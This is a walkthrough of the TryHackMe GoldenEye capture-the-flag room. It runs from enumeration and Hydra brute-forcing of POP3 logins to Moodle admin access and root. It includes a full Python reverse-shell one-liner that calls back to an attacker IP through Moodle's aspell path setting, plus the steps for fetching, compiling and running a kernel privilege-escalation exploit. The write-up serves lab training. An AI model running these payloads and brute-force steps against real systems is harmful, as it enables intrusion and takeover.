TryHackMe|GoldenEye WriteUp\Walkthrough (English)

Golden Eye

Room Link: https://tryhackme.com/r/room/goldeneye 

=====================================================

• sudo nmap -p- -vv IP. You have 4 ports open 25,80,55006,55007.

• When you visit the website and look into the source code you will find a script terminal.js. If you take a look at the script you will find interesting notes. 

 

We found a user boris and its encoded password. It is encoded with HTML escape and the decoded password is ********. Now use these credentials to login to /sev-home folder.

• The service on port 25 is smtp, and on 55006, 55007 is pop3.

Some useful pop3 commands to know are:

USER > To provide a username

PASS > To provide a password

LIST > To list the emails for a user

RETR > To view the contents of an email

Now with nc try to connect to port 55007 with the credentials you have it won’t work.

So you will use hydra to get the password hydra -l boris -P /usr/share/wordlists/fasttrack.txt pop3://IP:55007. And you will get the password *******.

• Next, you need to know what services are configured on port 55007. It is telnet because we can connect to this port using telnet not ssh.

• Now using boris credentials we will inspect the emails on port 55007. There is nothing that interesting with boris emails.

We can see in Boris’s emails that Natalya sent him an email, so we will search for Natalya’s password hydra -l natalya -P /usr/share/wordlists/fasttrack.txt pop3://IP:55007 which is ****. Now we will investigate her emails. In Natalya’s emails, we find an interesting discovery which is the credentials for a new account xenia:***********.

• In some of the emails, there is a website mentioned called severnaya-nation.com. To be able to reach this website update you /etc/hosts file with the IP and the website name. This way you will be able to reach the website using your browser.

• http://severnaya-station.com/gnocertdir using this URL you will be in the home screen of the Goldeneye operating training Moodle. After some trying you can log in as xenia. After login start looking into her page, you will find something interesting in her messages. From navigation bar > my profile > messages. There is a message from Doak.

• To get Doak’s password we will use Hydra. password hydra -l doak -P /usr/share/wordlists/fasttrack.txt pop3://IP:55007 which is ****. Using these credentials we can view Doak’s emails, from there we found his credentials to the severnaya website dr_doak:*********.

• Login as dr_doak from navigation bar > my profile > my private files and then download the s3cret.txt file.

So we will do accordingly and go to IP/dir007key/for-007.jpg. Then, we will download the image and use exiftool to read its metadata.

In the Image Description we can see a value that looks a base64 encode. If we decoded it we will result in the admin’s password which is*********. Using this password we will login to http://severnaya-station.com/gnocertdir as admin.

• Admin has more privileges, we will use them to gain a reverse shell. It gave us a hint about Aspell, so using search we will search for spell.

We will change the spell engine to PSpellShell and in the Path to aspell field we will inject our reverse shell code. Use https://www.revshells.com/ to generate you python’s reverse shell.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.18.96.207",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Then prepare your device by creating a netcat listener nc -nlvp 9001. To toggle this shell, from navigation bar > my profile > blogs > add new entry. Then click the spell check button.

Through this you will get a reverse shell.

• Get an interactive bash shell /bin/bash -i. Now we will start working to escalate our privileges. Using uname -a we knew that the kernel version is 3.13.0-32-generic, which is vulnerable to https://www.exploit-db.com/exploits/37292. Use searchsploit -m 37292 to copy the exploit into your current directory. Then python3 -m http.server to transfer the exploit into the victim’s machine.

• From the victim’s machine cd /tmp then get http://VPNIP:8000/37292. Now that you have the exploit at the target machine you need to compile it to run it. To do this on a linux machine use gcc or cc which are compilers that are used to compile and run a C program on Linux operating system. The syntax is simple:

• cc program-source-code.c -o executable-file-name.

• gcc program-source-code.c -o executable-file-name.

in our case gcc 37292.c -o exploit. But the output shows that gcc is not installed. To see if cc is installed which cc and indeed it is. So we need to change every gcc in the code to cc, and we can do that by sed -i “s/gcc/cc/g” 37292.c. Now we can compile the exploit and get the executable cc 37292.c -o exploit. You might get some warnings but it is not important as long as the exploit file is created. Now you can run it ./exploit. This way you will immediately get root.

• The flag is a hidden file in the root’s home directory✨.